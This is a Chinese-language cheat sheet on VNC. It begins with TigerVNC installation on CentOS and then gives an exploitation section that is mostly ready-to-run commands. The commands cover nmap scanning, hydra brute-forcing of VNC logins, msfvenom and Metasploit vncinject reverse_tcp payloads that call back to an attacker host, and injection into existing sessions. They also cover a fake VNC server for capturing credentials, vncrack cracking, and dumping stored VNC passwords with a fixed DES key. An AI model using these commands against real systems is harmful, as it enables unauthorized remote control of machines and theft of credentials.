安装
VNC服务是基于RFC(Remote Frame Buffer)协议的、对另一个系统进行图形远程访问的服务,与RDP协议功能类似,但是VNC服务是平台独立的,因此可在不同机器间远程。 VNC使用需要安装服务端和客户端,VNC软件多种多样,tightvnc, tigervnc, UltraVNC,这里演示的是在centos机器上安装tigerVNC。
sudo yum install tigervnc-server
sudo cp /lib/systemd/system/vncserver@.service /etc/systemd/system/vncserver@:1.service
sudo vim /etc/systemd/system/vncserver@:1.service
将其中<USER>替换为你想要的用户名
使用客户端访问VNC服务,这里用了vncviewer
vncserver
sudo systemctl daemon-reload // 如果新建或修改了配置,要执行此命令重新加载配置
sudo systemctl start vncserver@:1.service
// 其他命令
vncpasswd // 修改密码
sudo systemctl restart vncserver@:1.service
sudo systemctl status vncserver@:1.service -l
sudo systemctl enable vncserver@:1.service
sudo systemctl disable vncserver@:1.service
利用
端口扫描
nmap -p 5901 -sV 192.168.1.46
nmap -p 5901 --script vnc-info 192.168.1.46
爆破登录
hydra -s 5901 -P pass.txt -t 16 192.168.1.46 vnc
VNC Session
直接反弹VNC Session
msfvenom -p windows/x64/vncinject/reverse_tcp lhost=192.168.240.128 lport=5432 -f exe > vnc.exe
use exploit/multi/handler
set payload windows/x64/vncinject/reverse_tcp
set lhost 192.168.240.128
set lport 4532
exploit
Meterpreter to VNC Session
run vnc
MSF其他session to VNC Session
use exploit/windows/local/payload_inject
set payload windows/vncinject/reverse_tcp
set lport 6789
set session 1
exploit
注意这里要用x86平台的vncinject/reverse_tcp,因为payload_inject是起一个notepad进程后注入payload,notepad.exe是32位程序。
VNC密码窃取
伪造服务
use auxiliary/server/capture/vnc
set srvhost 192.168.1.128
exploit
vncviewer 192.168.240.128:5900
wget http://www.phenoelit.org/vncrack/vncrack_s.gz
gunzip vncrack_s.gz
chmod +x vncrack_s
./vncrack_s -c 00112233445566778899aabbccddeeff -r f15ed1a2e7bcce166da48e02a1204091 -w pass.txt
密码嗅探
./vncrack_s -c f7ed47c3ab290fa98ba7044314d0353f -r ead4964f2549ae81723873806ec9931b -w pass.txt
密码Dump
使用VNC Passwd认证方式时,服务端会用DES(对称加密算法)加密密码后存储在注册表或文件中。不同的VNC软件存储位置不一样,但DES密钥是固定的”\x17\x52\x6b\x06\x23\x4e\x58\x07”。 那么通过其他途径获取主机session后,可直接在主机上dump密码。
## vncrack
./vncrack_s -C /root/.vnc/passwd
# vncpasswd.py
git clone https://github.com/trinitronx/vncpasswd.py
cd vncpasswd.py
python2 ./vncpasswd.py -d -f ~/.vnc/passwd
./vncpasswd.py -d -H f0e43164f6c2e373
# msf
use post/windows/gather/credentials/vnc
set session 1
exploit